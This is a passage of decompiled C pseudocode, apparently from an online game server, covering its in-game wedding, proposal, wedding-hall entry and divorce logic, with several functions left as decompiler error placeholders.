LOBYTE(v7->tm_year) - 100; v8 = ((unsigned __int16)v2->_bf0 ^ (unsigned __int16)(((unsigned __int16)v7->tm_mon + 1) << 8)) & 0x1F00 ^ v2->_bf0; v2->_bf0 = v8; v9 = v8 ^ (v7->tm_mday << 13); v10 = v8 ^ v9 & 0x7E000; v2->_bf0 = v10; v11 = v10 ^ (unsigned int)&wholesaver.ws_savestore[283].esc_abstate.buffer[7432] & (v10 ^ (v7->tm_hour << 19)); v2->_bf0 = v11; v2->_bf0 = (unsigned int)&wholesaver.ws_savestore[289].esc_abstate.buffer[26903] & v11 | (v7->tm_min << 25); return v2; } //----- (0056A9D0) -------------------------------------------------------- __int64 __thiscall ShineDateTime::toTime_t(ShineDateTime *this) { int v1; // eax@1 unsigned int v2; // edx@1 unsigned int v3; // ecx@1 int Time1; // [sp+0h] [bp-24h]@1 unsigned int v6; // [sp+4h] [bp-20h]@1 unsigned int v7; // [sp+8h] [bp-1Ch]@1 unsigned int v8; // [sp+Ch] [bp-18h]@1 unsigned int v9; // [sp+10h] [bp-14h]@1 int v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v1 = this->_bf0; v2 = (unsigned int)this->_bf0 >> 19; v3 = (unsigned int)this->_bf0 >> 25; v7 = v2 & 0x3F; v6 = v3; v10 = (unsigned __int8)v1 + 100; Time1 = 0; v8 = ((unsigned int)v1 >> 13) & 0x3F; v9 = (((unsigned int)v1 >> 8) & 0x1F) - 1; v11 = -1; return _mktime64((tm *)&Time1); } //----- (0056AA30) -------------------------------------------------------- void __thiscall WeddingPerson::WeddingPerson(WeddingPerson *this) { this->RegistNumber = -1; *(_QWORD *)&this->CharacterName.n4_name[8] = 0i64; *(_QWORD *)&this->CharacterName.n4_name[0] = 0i64; strncpy(this->CharacterName.n4_name, byte_635E1E, 0x10u); } //----- (0056AA60) -------------------------------------------------------- PassiveDataBox::SpecialSkill *__thiscall PassiveDataBox::sdb_SpecSkillStruct(PassiveDataBox *this) { return &this->sdb_SpecSkill; } //----- (0056AA70) -------------------------------------------------------- #error "56AA70: undefined or illegal type '#593' (funcsize=41)" //----- (0056AB00) -------------------------------------------------------- #error "56AB00: undefined or illegal type '#593' (funcsize=38)" //----- (0056AB80) -------------------------------------------------------- #error "56AB80: undefined or illegal type '#593' (funcsize=43)" //----- (0056AC10) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenBeProposed() { int v0; // eax@2 int v2; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1152))(v2)) & 0x46 ) v0 = (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2392))(v2) + 8) & 0xF) != 0 ? 0x12C6 : 0; else LOWORD(v0) = 4802; return v0; } //----- (0056AC50) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenReserve() { unsigned __int16 result; // ax@2 unsigned __int64 v1; // qax@7 int v2; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1152))(v2)) & 6 ) { if ( (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2392))(v2) + 8) & 0xF) == 1 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2384))(v2) ) { LODWORD(v1) = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1072))(v2); if ( v1 >= 0x30D40 ) result = 0; else result = 4871; } else { result = 4872; } } else { result = 4867; } } else { result = 4865; } return result; } //----- (0056ACD0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenReservePartner() { unsigned __int16 result; // ax@2 int v1; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1152))(v1)) & 6 ) { if ( (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2392))(v1) + 8) & 0xF) == 1 ) result = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2384))(v1) != 0 ? 0 : 4872; else result = 4867; } else { result = 4866; } return result; } //----- (0056AD30) -------------------------------------------------------- PROTO_NC_CHAR_WEDDINGDATA_ACK *__cdecl ShineObjectClass::ShineObject::so_ply_WeddingStatus() { return &ShineObjectClass::ShineObject::so_WeddingData; } //----- (0056AD40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingStatus(void *this) { return (int)((char *)this + 23364); } //----- (0056AD50) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_BYTE *)(this + 31) = *(_BYTE *)(a2 + 31); *(_BYTE *)(this + 32) = *(_BYTE *)(a2 + 32); *(_WORD *)(this + 33) = *(_WORD *)(a2 + 33); return result; } //----- (0056ADB0) -------------------------------------------------------- char __thiscall WeddingHall::wh_GuestCanEnter(WeddingHall *this, PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *wedding_progress) { WeddingHall *v2; // esi@1 char result; // al@6 v2 = this; if ( !this->Reserved || ShineDateTime::operator>(&this->EnteringStart, &chargeditemcheck) || ShineDateTime::operator>(&chargeditemcheck, &v2->EnteringEnd) ) { if ( wedding_progress ) wedding_progress->err = 4930; result = 0; } else { if ( wedding_progress ) { *(_QWORD *)&wedding_progress->GroomID.n4_name[0] = *(_QWORD *)&v2->Groom.CharacterName.n4_name[0]; *(_QWORD *)&wedding_progress->GroomID.n4_name[8] = *(_QWORD *)&v2->Groom.CharacterName.n4_name[8]; *(_QWORD *)&wedding_progress->BrideID.n4_name[0] = *(_QWORD *)&v2->Bride.CharacterName.n4_name[0]; *(_QWORD *)&wedding_progress->BrideID.n4_name[8] = *(_QWORD *)&v2->Bride.CharacterName.n4_name[8]; wedding_progress->EnterStart = ShineDateTime::toTime_t(&v2->EnteringStart); wedding_progress->WeddingStart = ShineDateTime::toTime_t(&v2->EnteringEnd); wedding_progress->WeddingEnd = ShineDateTime::toTime_t(&v2->WeddingEnd); memcpy( (void *)&wedding_progress->tm_WeddingEnd, _localtime64(&wedding_progress->EnterStart), sizeof(wedding_progress->tm_WeddingEnd)); memcpy( (void *)&wedding_progress->tm_WeddingEnd, _localtime64(&wedding_progress->WeddingStart), sizeof(wedding_progress->tm_WeddingEnd)); memcpy( (void *)&wedding_progress->tm_WeddingEnd, _localtime64(&wedding_progress->WeddingEnd), sizeof(wedding_progress->tm_WeddingEnd)); wedding_progress->err = 4928; } result = 1; } return result; } //----- (0056AEC0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenPropose() { unsigned __int16 result; // ax@2 int v1; // [sp+1Ch] [bp+4h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Checker::WhenPropose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Checker::WhenPropose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1152))(v1)) & 0x46 ) { if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2392))(v1) + 8) & 0xF ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 4805; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 4801; } return result; } //----- (0056AFE0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenProposeBoth() { char v0; // bl@1 int v1; // eax@2 int v3; // [sp+10h] [bp+4h]@0 int v4; // [sp+14h] [bp+8h]@0 v0 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2052))(v3); if ( v0 == (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2052))(v4) ) LOWORD(v1) = 4809; else v1 = (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v3, v4) > 0x2710 ? 0x12C3 : 0; return v1; } //----- (0056B030) -------------------------------------------------------- unsigned __int16 __cdecl Checker::ApplicationLimit() { int v0; // eax@1 char *v1; // edi@2 ZoneBaseSession *v3; // eax@4 int v4; // [sp+8h] [bp+4h]@0 v0 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2392))(v4); if ( !ShineDateTime::operator>((ShineDateTime *)(v0 + 13), &chargeditemcheck) ) { v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4229; *((_WORD *)v1 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v1 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v1 + 2) = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2392))(v4) + 33); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { AssertClass::ac_AssertFail(&shineassert, "Checker::ApplicationLimit : Packet Too Long", 12); return 0; } v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } return 0; } //----- (0056B0D0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_BYTE *)(this + 8) = *(_BYTE *)(a2 + 8); *(_DWORD *)(this + 9) = *(_DWORD *)(a2 + 9); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_DWORD *)(this + 25) = *(_DWORD *)(a2 + 25); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_BYTE *)(this + 37) = *(_BYTE *)(a2 + 37); *(_BYTE *)(this + 38) = *(_BYTE *)(a2 + 38); return result; } //----- (0056B150) -------------------------------------------------------- unsigned __int16 __cdecl Checker::DelayLimit() { int v1; // eax@3 char *v2; // edi@4 ZoneBaseSession *v3; // eax@6 int v4; // [sp+8h] [bp+4h]@0 if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2392))(v4) + 8) & 0xF0 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2400))(v4); return 0; } v1 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2392))(v4); if ( !ShineDateTime::operator>((ShineDateTime *)(v1 + 13), &chargeditemcheck) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4231; *((_WORD *)v2 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v2 + 2) = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2392))(v4) + 33); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 12); return 0; } v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } return 0; } //----- (0056B210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate(void *this, int wedding) { void *v2; // esi@1 int v3; // ecx@1 ZoneBaseSession *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)((char *)v2 + 23364), wedding); v3 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 4226; PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(v3, wedding); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate : Packet Too Long", 41); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"); } //----- (0056B300) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem(void *this) { void *v1; // esi@1 bool v2; // bl@1 ITEM_INVEN inveninv; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v2 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v1, unk_131DF0FC, (int)&inveninv) != 0; --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"); return v2; } //----- (0056B3C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_DivorceProcess(void *this) { char *v1; // edi@1 void *v2; // esi@1 ZoneBaseSession *v3; // eax@3 char *v4; // edi@4 ZoneBaseSession *v5; // eax@6 __int16 v6; // di@7 __int16 v7; // ax@7 __int16 v8; // di@8 __int16 v9; // ax@8 int v10; // eax@11 char Update; // [sp+18h] [bp-2Ch]@1 char v13; // [sp+20h] [bp-24h]@11 unsigned int v14; // [sp+40h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; v14 = (unsigned int)&Update ^ __security_cookie; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v1 + 1) = (*(int (**)(void))(*(_DWORD *)this + 836))(); *((_WORD *)v1 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v1 + 4) = skilldatabox.sdb_SpecSkill.ss_SummonMate; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 10); } v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v4 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v4 + 4) = *(_WORD *)&passivedatabox.baseclass_0.bdb_defaultblock.ImageH[6] + 30000; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 10); } v6 = *((_WORD *)v2 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1144))(v2); if ( !ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, v6, unk_131DF0FE, v7 + 3368, 9) ) { v8 = *((_WORD *)v2 + 2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1144))(v2); ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, v8, unk_131DF0FE, v9, 8); } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1608))(v2, 449); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1608))(v2, 450); (*(void (__thiscall **)(_DWORD, signed int))(*(_DWORD *)v2 + 1608))(v2, 451); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1316))(v2); if ( (*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2392))(v2) + 8) & 0xF0) == 32 ) (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 5001); PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK((PROTO_NC_CHAR_WEDDINGDATA_ACK *)&Update); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2392))(v2); PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)&Update, v10); v13 &= 0xFu; (*(void (__thiscall **)(void *, char *))(*(_DWORD *)v2 + 2396))(v2, &Update); return (*(int (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 4998); } //----- (0056B5B0) -------------------------------------------------------- #error "56B5B0: undefined or illegal type '#593' (funcsize=156)" //----- (0056B7A0) -------------------------------------------------------- #error "56B7A0: undefined or illegal type '#593' (funcsize=176)" //----- (0056B9F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *v6; // edi@1 int v7; // eax@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8279; v6 = (PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *)(v5 + 2); if ( !(_S8_17 & 1) ) { _S8_17 |= 1u; stru_130DFC40.cmc_AllowMode = 6; atexit(_E9_41); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DFC40.cmc_AllowMode ) { WeddingHall::wh_GuestCanEnter(&weddinghall, v6); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 168) ) goto LABEL_5; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_9: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_10; } v6->err = 4929; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 168) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); goto LABEL_9; } LABEL_5: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ : Packet Too Long", 168); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"); } //----- (0056BB50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // edx@1 int v7; // eax@11 int v8; // edx@12 ITEM_INVEN Inv; // [sp+Ch] [bp-80h]@1 FunctionEntarance _; // [sp+10h] [bp-7Ch]@1 char lnkinf; // [sp+14h] [bp-78h]@14 char v12; // [sp+28h] [bp-64h]@12 char v13; // [sp+34h] [bp-58h]@12 char v14; // [sp+49h] [bp-43h]@12 char v15; // [sp+55h] [bp-37h]@12 int v16; // [sp+6Ah] [bp-22h]@12 int v17; // [sp+6Eh] [bp-1Eh]@12 unsigned int v18; // [sp+7Ch] [bp-10h]@1 int v19; // [sp+88h] [bp-4h]@1 v4 = this; v18 = (unsigned int)&Inv ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8281; v6 = *(_DWORD *)v4; v19 = 0; if ( unk_130DFC80 != (*(int (__thiscall **)(void *))(v6 + 836))(v4) && unk_130DFC6C != (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) && !ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, unk_131DF0FA, (int)&Inv) ) { *((_WORD *)v5 + 1) = 4931; goto LABEL_9; } if ( !weddinghall.Reserved || ShineDateTime::operator>(&stru_130DFC5C, &chargeditemcheck) || ShineDateTime::operator>(&chargeditemcheck, &Rhs) ) { *((_WORD *)v5 + 1) = 4930; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ : Packet Too Long", 4); } goto LABEL_15; } ShineObjectClass::ShinePlayer::sp_DestroyItem(v4, *((_WORD *)v4 + 2), unk_131DF0FA, 1, 0); strncpy(&v12, "Wedding", 0xCu); v13 = 0; strncpy(&v14, "Wedding", 0xCu); v8 = *(_DWORD *)v4; v15 = 0; v16 = 558; v17 = 154; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v8 + 1152))(v4) == 4 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1156))(v4); (*(void (__thiscall **)(void *, char *, signed int))(*(_DWORD *)v4 + 1016))(v4, &lnkinf, 1); LABEL_15: --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"); __security_check_cookie((unsigned int)&Inv ^ v18); } //----- (0056BD50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // ecx@3 int v6; // edx@4 unsigned __int64 v7; // qax@8 char *v8; // edi@13 int v9; // eax@13 char v10; // al@15 ZoneBaseSession *v11; // eax@16 signed int v12; // [sp-Ch] [bp-28h]@4 int v13; // [sp-Ch] [bp-28h]@13 signed int v14; // [sp-8h] [bp-24h]@4 const char *v15; // [sp-8h] [bp-24h]@13 signed int v16; // [sp-4h] [bp-20h]@4 char *v17; // [sp-4h] [bp-20h]@6 int v18; // [sp-4h] [bp-20h]@13 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v20; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S10_35 & 1) ) { _S10_35 |= 1u; stru_130DFC48.cmc_AllowMode = 6; atexit(_E11_27); } v5 = v4; if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DFC48.cmc_AllowMode) ) { v6 = *(_DWORD *)v4; v16 = 4993; v14 = 93; v12 = 8; goto LABEL_5; } LODWORD(v7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); if ( v7 < 0x7A120 ) { v6 = *(_DWORD *)v4; v16 = 4995; v14 = 93; v12 = 8; v5 = v4; LABEL_5: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v6 + 776))(v5, v12, v14, v16); LABEL_6: v17 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; goto LABEL_7; } switch ( (unsigned int)*((_BYTE *)v4 + 23372) >> 4 ) { case 0u: if ( !ShineDateTime::operator<((ShineDateTime *)((char *)v4 + 23377), &chargeditemcheck) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 4994); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4233; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v18 = 12; v15 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ : Packet Too Long"; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v9 = *(_DWORD *)((char *)v4 + 23397); v13 = 12; LABEL_15: *((_DWORD *)v8 + 2) = v9; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, v13); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v10, v15, v18) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } (*(void (__thiscall **)(void *, signed int, _DWORD))(*(_DWORD *)v4 + 1940))(v4, 500000, 0); v17 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; break; case 2u: v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4237; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v18 = 13; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v9 = *(_DWORD *)((char *)v4 + 23397); v15 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ : Packet Too Long"; v8[12] = 0; v13 = 13; goto LABEL_15; case 1u: case 3u: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 5000); v17 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; break; default: goto LABEL_6; } LABEL_7: --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v17); } //----- (0056BF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // al@8 void *v6; // ecx@8 unsigned __int64 v7; // qax@10 char *v8; // edi@13 ZoneBaseSession *v9; // eax@17 char *v10; // edi@19 ZoneBaseSession *v11; // eax@21 int v12; // [sp-Ch] [bp-2Ch]@14 const char *v13; // [sp-8h] [bp-28h]@14 char *v14; // [sp-4h] [bp-24h]@5 signed int v15; // [sp-4h] [bp-24h]@9 int v16; // [sp-4h] [bp-24h]@14 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v18; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = 